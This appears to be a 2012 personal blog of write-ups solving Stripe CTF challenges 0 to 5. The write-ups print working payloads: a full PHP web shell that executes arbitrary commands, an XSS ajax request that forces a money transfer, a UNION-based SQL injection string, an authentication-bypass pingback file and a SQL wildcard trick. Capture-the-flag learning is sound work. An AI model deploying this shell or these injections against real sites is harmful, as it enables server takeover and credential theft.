Wednesday, August 29, 2012

Stripe CTF Writeup: Challenge 5

This challenge was a cross-site password authenticator that was supposed to allow you to have a localized password server to improve security. If the word "AUTHENTICATED" was returned by the "pingback" URL that you provided to the main page. At this point, since we are trying to authenticate with Level 5 server, we have to bypass firewall nastiness. To bypass this, just upload your magic file to Level 2 and "go a level deeper." Inception
A key that allows this to happen is that the 'params' variable in the Ruby server will populate from a POST or a GET request. This means we can pass parameters in a URL and allows us to do a pingback in a pingback (Inception).
This takes the contents of the level02 pagre and puts them in the level5 request, authenticating you with the website. Another small thing to bypass was a regular expression which required the exact string to be on a separate line. The exact string also needed to be preceded by a non-word character (I used a dot). My final script that I uploaded was
<?php echo '<pre>.Authenticated.</pre>'; ?>

-- suntzu_II

Stripe CTF Writeup: Challenge 4

This challenge was focused on trying to force the user 'karma_fountain' to send us karma and thus reveal his password. After some deliberation, I decided that trying to hijack the cookie/session was not the point of the challenge. Next I tried to send money from karma_fountain to myself through by submitting something from myself, which ended up being a huge waste of time. Since I could not become him or send myself money from him by myself, I had to try to drive his browser and worked on trying to Cross Site Script him. The only thing that I had control of on his site was my password (which was shown to him when I sent him karma). This turns out to be the method through which we can send a XSS attack. My solution is shown below.
$.ajax({ type: 'POST', url: '', data: { 'from': 'karma_fountain', 'to': 'suntzu_II', 'amount': '100' }, success: function(msg){ alert("Winning!"); } });

-- suntzu_II

Stripe CTF Writeup: Challenge 3

This challenge had a rather interesting SQL Injection vulnerability. My first train of thought brought me to trying to modify a password or insert and extra record, but that was made difficult by the disabling of multiqueries on the server. The solution was ended up being a pretty cool UNION query in SQL where you tell the database which exact strings to select from the database. All you needed to do was hash your own password + salt (mine was "password"+"abcdef"). The solution is shown below.
bob' UNION SELECT ID, '1a7d8a297d27da26806a242253747eb89335a487b017889173cbe73e33ca2ecd', 'abcdef' from users where username='bob' --

-- suntzu_II

Stripe CTF Writeup: Challenge 2

This challenge was a simple unfiltered file upload. All you do is upload a fun PHP script and then navigate to it in the /uploads/ folder. I used a PHP a shell that I wrote a while ago and just ran 'cat ../password.txt'. The PHP script is shown below.

<form action="<?php echo $PHP_SELF;?>" method='POST'>
<input type='text' name='cmd' autofocus='autofocus' />
<input type='submit' name='Submit' value='Submit'/>
<textarea readonly='readonly' name="textbox" rows="30" cols="100">
$cmd = $_REQUEST['cmd'];
if (isset($cmd)) {
$whoami = shell_exec('whoami');
$hostname = shell_exec('hostname');
$pwd = shell_exec('pwd');
$result = shell_exec($cmd);
$trimmed = trim($whoami,"\r\n").'@'.trim($hostname,"\r\n").':'.trim($pwd,"\r\n").'# '.trim($cmd,"\r\n");
print $trimmed;
print "\n";
print $result;
print "\n";
$text = $_REQUEST['textbox'];
if (isset($text)) {
print $text;
print "\n";
} else {
print "Welcome to php shell by suntzu_II\n";
print "Note: cd commands will not work as the php shell spawns a new shell everytime it runs a command. Sorry for the inconvenience.\n";

-- suntzu_II

Stripe CTF Writeup: Challenge 1

This challenge was focused on poorly written PHP code, specifically the extract command. If you didn't know what to do on this challenge, all you had to do was go to PHP's website and read about extract. In a big warning box, they say
Do not use extract() on untrusted data, like user input (i.e. $_GET, $_FILES, etc.)
It turns out that the placement in the code of this extract variable allowed you to overwrite the $filename variable with something of your own choosing by passing a GET variable called 'filename;. At this point, you just need to beat the '===', a PHP operator which compares value AND type. By realizing that file_get_contents returns false when the file does not exist and that by putting 'attempt=' in the URL $attempt gets set to false, we can get past the test and win. A URL that beat this level was
This causes get_file_contents to return false while setting attempt to false which means that $attempt===$combination.

-- suntzu_II

Stripe CTF Writeup: Challenge 0

This challenge was fairly simple and required just a passing knowledge of SQL. The key line of the server file is
var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"';
Because of the LIKE syntax, all we have to do is enter a '%' (SQL Wildcard) as the input and the server will return all of the records in the database. That's all there is too it.

-- suntzu_II